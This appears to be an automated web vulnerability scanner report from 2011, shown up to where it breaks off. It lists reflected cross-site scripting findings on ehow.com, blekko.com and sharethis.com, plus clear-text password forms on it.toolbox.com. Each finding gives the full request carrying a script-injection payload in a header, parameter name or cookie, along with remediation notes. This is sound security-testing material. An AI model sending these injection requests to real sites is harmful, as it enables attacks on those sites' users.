HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:00 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 84886
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 45ee5</script><script>alert(1)</script>a202cf207b6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /videos.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=45ee5</script><script>alert(1)</script>a202cf207b6
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:24 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 81054
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How To Videos: Instructional, DIY & How To Video ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fe1f3</script><script>alert(1)</script>bfeaf58b908 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weddings-and-parties/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=fe1f3</script><script>alert(1)</script>bfeaf58b908
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:25 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72253
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Weddings & Parties - How To Information | eHow.co ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b840b</script><script>alert(1)</script>8ba33d5bdf1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weight-management-and-body-image/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=b840b</script><script>alert(1)</script>8ba33d5bdf1
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:26 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72033
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Weight Management & Body Image - How To Informati ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e1e97</script><script>alert(1)</script>0fc653e07d5 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /winterize-a-garden/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=e1e97</script><script>alert(1)</script>0fc653e07d5
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:24 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 65547
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3d4de</script><script>alert(1)</script>62a90938785 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /WebResource.axd HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.4.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=3d4de</script><script>alert(1)</script>62a90938785
Response (redirected)
HTTP/1.1 404 Not Found Connection: close Date: Wed, 02 Feb 2011 15:46:22 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 28888
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>eHow | How To Do Just About Everything! | How To ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 853b7</script><script>alert(1)</script>acd0c1c1806 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/compressed/en-US/common-mXhI4A.css HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.4.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=853b7</script><script>alert(1)</script>acd0c1c1806
Response
HTTP/1.1 404 File not Found Connection: close Date: Wed, 02 Feb 2011 15:45:53 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 28888
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>eHow | How To Do Just About Everything! | How To ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5c8de</script><script>alert(1)</script>c257e1020ae was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /forms/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=5c8de</script><script>alert(1)</script>c257e1020ae
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:18:15 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 68936
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b77a3</script><script>alert(1)</script>f21f6854d43 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /forms/PasswordRetrieval.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=b77a3</script><script>alert(1)</script>f21f6854d43
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:17:43 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 25094
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9816e</script><script>alert(1)</script>c79d7af261c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /forms/Support/DisplayCaptchaImage.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.4.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=9816e</script><script>alert(1)</script>c79d7af261c
Response (redirected)
HTTP/1.1 404 Not Found Connection: close Date: Wed, 02 Feb 2011 15:46:22 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 28888
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>eHow | How To Do Just About Everything! | How To ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d60b6</script><script>alert(1)</script>0dc090f33f6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /forms/signin.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=d60b6</script><script>alert(1)</script>0dc090f33f6
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:17:38 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 24325
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title> Sign In to eHow | eHow.com </title> <meta ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38441</script><script>alert(1)</script>6930395ab2b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /privacy.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.4.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=38441</script><script>alert(1)</script>6930395ab2b
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:46:13 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 49154
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 36718</script><script>alert(1)</script>f2cd512ee5a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /terms_use.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.4.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=36718</script><script>alert(1)</script>f2cd512ee5a
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:46:15 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73168
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Terms of Use | eHow.com</title> <meta charset= ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
4.708. http://blekko.com/join [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://blekko.com
Path:
/join
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de32a"><script>alert(1)</script>784d2feb8f0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /join?de32a"><script>alert(1)</script>784d2feb8f0=1 HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924; fbl=2;
The document has moved <a href="https://blekko.com/join?de32a"><script>alert(1)</script>784d2feb8f0=1">here</a>.
4.709. http://blekko.com/login [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://blekko.com
Path:
/login
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7a44"><script>alert(1)</script>047c1089db5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /login?f7a44"><script>alert(1)</script>047c1089db5=1 HTTP/1.1 Host: blekko.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v=3; t=1296674604621; suggestedSlashtagsList=1; sessionid=352926924; fbl=2;
The value of the __stid cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 585c9"><script>alert(1)</script>a1d1042bd was submitted in the __stid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /getSegment.php?fpc=fa38af9-12dddaf19a7-13ff2714-2&purl=null&jsref= HTTP/1.1 Host: seg.sharethis.com Proxy-Connection: keep-alive Referer: http://edge.sharethis.com/share4x/index.c99a19d7384984446908be08d7b2b8b1.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __stid=Cs8yN00nznknhnUGHGW1Ag==585c9"><script>alert(1)</script>a1d1042bd
Response
HTTP/1.1 200 OK Server: nginx/0.8.47 Date: Tue, 01 Feb 2011 14:32:02 GMT Content-Type: text/html Connection: keep-alive X-Powered-By: PHP/5.3.3 Content-Length: 317
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/database-soup
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/database-soup HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 61117 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:28 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/database-talk
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/database-talk HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 63383 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:26 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/db2luw
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/db2luw HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 62898 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:25 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/db2zos
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/db2zos HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 78281 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:25 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/elsua
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/elsua HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 64411 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:25 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/juice-analytics
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
